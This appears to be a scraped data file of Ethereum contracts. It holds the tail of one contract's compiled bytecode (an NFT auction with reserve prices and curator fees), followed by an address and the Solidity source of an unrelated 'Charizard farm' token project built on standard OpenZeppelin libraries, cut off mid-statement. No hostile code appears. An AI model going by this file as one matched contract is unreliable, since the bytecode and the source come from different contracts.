565b610b5a565b60008481526002602081905260409091200154610b0f90610af0906064906104b890600a63ffffffff6116c716565b600086815260026020819052604090912001549063ffffffff6118d816565b831015610b2e5760405162461bcd60e51b815260040161037890611e71565b60008481526002602081905260409091206007810154910154610b5a916001600160a01b03169061174a565b600084815260026020819052604090912090810184905560070180546001600160a01b03191633179055610b964261038463ffffffff6118d816565b610b9f8561169f565b1015610be857610bcf610bb18561169f565b610bc34261038463ffffffff6118d816565b9063ffffffff61187216565b6000858152600260205260409020600301805490910190555b6000848152600260205260409081902054905185917f1ff39462817728e194d750d88ac9725789864f0c0e867638ac47ec2577348d2d91610c36916001600160a01b03169033908890611bab565b60405180910390a2505060016000555050565b60026020819052600091825260409091208054600182015492820154600383015460048401546005850154600686015460078701546008909701546001600160a01b039687169897959694959394929360ff83169361010090930483169290811691168a565b60026000541415610cd25760405162461bcd60e51b815260040161037890612054565b6002600055610cdf6113d0565b15610cfc5760405162461bcd60e51b815260040161037890612028565b6000610d0882896112d2565b9050610d13816118b4565b610d2f5760405162461bcd60e51b815260040161037890611d20565b6001600160a01b038416610d4257600080fd5b6001600160a01b038316610d5557600080fd5b60648560ff1610610d785760405162461bcd60e51b815260040161037890611f75565b604051806101400160405280836001600160a01b0316815260200189815260200160008152602001888152602001600081526020018781526020018660ff168152602001856001600160a01b0316815260200160006001600160a01b03168152602001846001600160a01b03168152506002600083815260200190815260200160002060008201518160000160006101000a8154816001600160a01b0302191690836001600160a01b031602179055506020820151816001015560408201518160020155606082015181600301556080820151816004015560a0820151816005015560c08201518160060160006101000a81548160ff021916908360ff16021790555060e08201518160060160016101000a8154816001600160a01b0302191690836001600160a01b031602179055506101008201518160070160006101000a8154816001600160a01b0302191690836001600160a01b031602179055506101208201518160080160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550905050306001600160a01b0316826001600160a01b0316636352211e8a6040518263ffffffff1660e01b8152600401610f3d9190611cc4565b60206040518083038186803b158015610f5557600080fd5b505afa158015610f69573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f8d91906119f1565b6001600160a01b031614611072576040516331a9108f60e11b81526001600160a01b038316906323b872dd908290636352211e90610fcf908d90600401611cc4565b60206040518083038186803b158015610fe757600080fd5b505afa158015610ffb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061101f91906119f1565b308b6040518463ffffffff1660e01b815260040161103f93929190611bab565b600060405180830381600087803b15801561105957600080fd5b505af115801561106d573d6000803e3d6000fd5b505050505b877fdb836de740a650360020a6a0fe2bbfaf3c6e93815622bd0bd1f65b5b215a282d838989898989886040516110ae9796959493929190611c74565b60405180910390a250506001600055505050505050565b600260005414156110e85760405162461bcd60e51b815260040161037890612054565b6002600055806110f7816118b4565b156111145760405162461bcd60e51b815260040161037890611f46565b600082815260026020526040902060060154829061010090046001600160a01b031633146111545760405162461bcd60e51b815260040161037890611df5565b600083815260026020526040902060040154156111835760405162461bcd60e51b815260040161037890611ece565b600083815260026020526040908190206006810154815460019092015492516323b872dd60e01b81526101009091046001600160a01b03908116939216916323b872dd916111d8913091869190600401611bab565b600060405180830381600087803b1580156111f257600080fd5b505af1158015611206573d6000803e3d6000fd5b505050600085815260026020526040908190205490518692507fea0988d16704f58d107d83e5973238258e3c075f16f0ec36b568077afe959e2091611258916001600160a01b03909116908590611b91565b60405180910390a25050506000908152600260208190526040822080546001600160a01b0319908116825560018083018590559282018490556003820184905560048201849055600582018490556006820180546001600160a81b0319169055600782018054821690556008909101805490911690559055565b600082826040516020016112e7929190611bff565b6040516020818303038152906040528051906020012090505b92915050565b7f0000000000000000000000002330ee705ffd040bb0cba8cb7734dfe00e7c4b576001600160a01b03163314801561134157506113416113de565b61135d5760405162461bcd60e51b815260040161037890611fac565b6001805461ff0019166101001790556040517f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2589061139c903390611b7d565b60405180910390a1565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b61038481565b600154610100900460ff1690565b60015460ff1690565b7f0000000000000000000000002330ee705ffd040bb0cba8cb7734dfe00e7c4b576001600160a01b03163314801561142257506114226113de565b61143e5760405162461bcd60e51b815260040161037890611fac565b6001805460ff19169055565b7f0000000000000000000000002330ee705ffd040bb0cba8cb7734dfe00e7c4b576001600160a01b03163314801561148557506114856113de565b6114a15760405162461bcd60e51b815260040161037890611fac565b6001805461ff00191690556040517f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa9061139c903390611b7d565b7f000000000000000000000000abefbc9fd2f806065b4f3c237d4b59d9a97bcac781565b600a81565b7f0000000000000000000000002330ee705ffd040bb0cba8cb7734dfe00e7c4b576001600160a01b03163314801561154057506115406113de565b61155c5760405162461bcd60e51b815260040161037890611fac565b60008181526002602052604090819020805460019091015491516323b872dd60e01b81526001600160a01b03909116916323b872dd916115c39130917f0000000000000000000000002330ee705ffd040bb0cba8cb7734dfe00e7c4b579190600401611bab565b600060405180830381600087803b1580156115dd57600080fd5b505af11580156115f1573d6000803e3d6000fd5b5050505050565b60007f0000000000000000000000002330ee705ffd040bb0cba8cb7734dfe00e7c4b576001600160a01b03163314801561163557506116356113de565b6116515760405162461bcd60e51b815260040161037890611fac565b6113007f0000000000000000000000002330ee705ffd040bb0cba8cb7734dfe00e7c4b57836118fd565b7f0000000000000000000000002330ee705ffd040bb0cba8cb7734dfe00e7c4b5781565b600081815260026020526040812060038101546004909101546113009163ffffffff6118d816565b6000826116d657506000611300565b828202828482816116e357fe5b04146117015760405162461bcd60e51b815260040161037890611f05565b9392505050565b600061170183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611969565b61175482826118fd565b61186e577f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b031663d0e30db0826040518263ffffffff1660e01b81526004016000604051808303818588803b1580156117b357600080fd5b505af11580156117c7573d6000803e3d6000fd5b505060405163a9059cbb60e01b81526001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc216935063a9059cbb925061181a915085908590600401611bff565b602060405180830381600087803b15801561183457600080fd5b505af1158015611848573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061186c9190611a38565b505b5050565b600061170183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506119a0565b60009081526002602052604090206006015461010090046001600160a01b03161590565b6000828201838110156117015760405162461bcd60e51b815260040161037890611d87565b600080836001600160a01b0316836175309060405161191b90611b7a565b600060405180830381858888f193505050503d8060008114611959576040519150601f19603f3d011682016040523d82523d6000602084013e61195e565b606091505b509095945050505050565b6000818361198a5760405162461bcd60e51b81526004016103789190611ccd565b50600083858161199657fe5b0495945050505050565b600081848411156119c45760405162461bcd60e51b81526004016103789190611ccd565b505050900390565b6000602082840312156119dd578081fd5b6119e760206120e0565b9151825250919050565b600060208284031215611a02578081fd5b815161170181612107565b60008060408385031215611a1f578081fd5b8235611a2a81612107565b946020939093013593505050565b600060208284031215611a49578081fd5b81518015158114611701578182fd5b600060208284031215611a69578081fd5b5035919050565b60008060408385031215611a82578182fd5b50508035926020909101359150565b600060608284031215611aa2578081fd5b611aac60606120e0565b611ab684846119cc565b8152611ac584602085016119cc565b6020820152611ad784604085016119cc565b60408201529392505050565b600060208284031215611af4578081fd5b5051919050565b600080600080600080600060e0888a031215611b15578283fd5b873596506020880135955060408801359450606088013560ff81168114611b3a578384fd5b93506080880135611b4a81612107565b925060a0880135611b5a81612107565b915060c0880135611b6a81612107565b8091505092959891949750929550565b90565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b039586168152938516602085015291841660408401526060830152909116608082015260a00190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039a8b168152602081019990995260408901979097526060880195909552608087019390935260a086019190915260ff1660c0850152841660e084015283166101008301529091166101208201526101400190565b6001600160a01b0397881681526020810196909652604086019490945260ff9290921660608501528416608084015290921660a082015260c081019190915260e00190565b901515815260200190565b90815260200190565b6000602080835283518082850152825b81811015611cf957858101830151858201604001528201611cdd565b81811115611d0a5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526016908201527541756374696f6e20616c72656164792065786973747360501b604082015260600190565b6020808252601d908201527f4d7573742062696420726573657276655072696365206f72206d6f7265000000604082015260600190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b6020808252601d908201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604082015260600190565b60208082526025908201527f43616e206f6e6c792062652063616c6c65642062792061756374696f6e2063756040820152643930ba37b960d91b606082015260800190565b6020808252601e908201527f416d6f756e7420646f65736e277420657175616c206d73672e76616c75650000604082015260600190565b6020808252603f908201527f4d75737420626964206d6f7265207468616e206c61737420626964206279204d60408201527f494e5f4249445f494e4352454d454e545f50455243454e5420616d6f756e7400606082015260800190565b60208082526017908201527f41756374696f6e20616c72656164792073746172746564000000000000000000604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b602080825260159082015274105d58dd1a5bdb88191bd95cdb89dd08195e1a5cdd605a1b604082015260600190565b6020808252601b908201527f43757261746f72206665652073686f756c64206265203c203130300000000000604082015260600190565b60208082526025908201527f43616c6c657220646f6573206e6f7420686176652061646d696e2070726976696040820152646c6567657360d81b606082015260800190565b60208082526018908201527f41756374696f6e206861736e277420636f6d706c657465640000000000000000604082015260600190565b60208082526012908201527110dbdb9d1c9858dd081a5cc81c185d5cd95960721b604082015260600190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b6020808252600f908201526e105d58dd1a5bdb88195e1c1a5c9959608a1b604082015260600190565b91518252602082015260400190565b61ffff91909116815260200190565b60ff91909116815260200190565b60405181810167ffffffffffffffff811182821017156120ff57600080fd5b604052919050565b6001600160a01b038116811461211c57600080fd5b5056fea26469706673582212205ca9fbbc876efdf2d14257ff2798d10300611684a833f23e4ede28180f22070064736f6c63430006080033
[ 13, 16, 7, 11 ]
0xf2834941711c4a98c559f0b0a3c06e7560259a48
/* https://charizard.farm Telegram group: t.me/charizardfarm Twitter: @CharizardFarm Inspired from MNNF, ROT and SUSHI ."-,.__ `. `. , .--' .._,'"-' `. . .' `' `. / ,' ` '--. ,-"' `"` | \ -. \, | `--Y.' ___. \ L._, \ _., `. < <\ _ ,' ' `, `. | \ ( ` ../, `. ` | .\`. \ \_ ,' ,.. . _.,' ||\l ) '". , ,' \ ,'.-.`-._,' | . _._`. ,' / \ \ `' ' `--/ | \ / / ..\ .' / \ . |\__ - _ ,'` ` / / `.`. | ' .. `-...-" | `-' / / . `. | / |L__ | | / / `. `. , / . . | | / / ` ` / / ,. ,`._ `-_ | | _ ,-' / ` \ / . \"`_/. `-_ \_,. ,' +-' `-' _, ..,-. \`. . ' .-f ,' ` '. \__.---' _ .' ' \ \ ' / `.' l .' / \.. ,_|/ `. ,'` L` |' _.-""` `. \ _,' ` \ `.___`.'"`-. , | | | \ || ,' `. `. ' _,...._ ` | `/ ' | ' .| || ,' `. ;.,.---' ,' `. `.. `-' .-' /_ .' ;_ || || ' V / / ` | ` ,' ,' '. ! `. || ||/ _,-------7 ' . | `-' l / `|| . | ,' .- ,' || | .-. `. .' || `' ,' `".' | | `. '. -.' `' / ,' | |,' \-.._,.'/' . / . . \ .'' .`. | `. / :_,'.' \ `...\ _ ,'-. .' /_.-' `-.__ `, `' . _.>----''. _ __ / .' /"' | "' '_ /_|.-'\ ,". '.'`__'-( \ / ,"'"\,' `/ `-.|" mh */ pragma solidity ^0.6.6; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.5; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: @openzeppelin/contracts/utils/EnumerableSet.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File: @openzeppelin/contracts/GSN/Context.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, 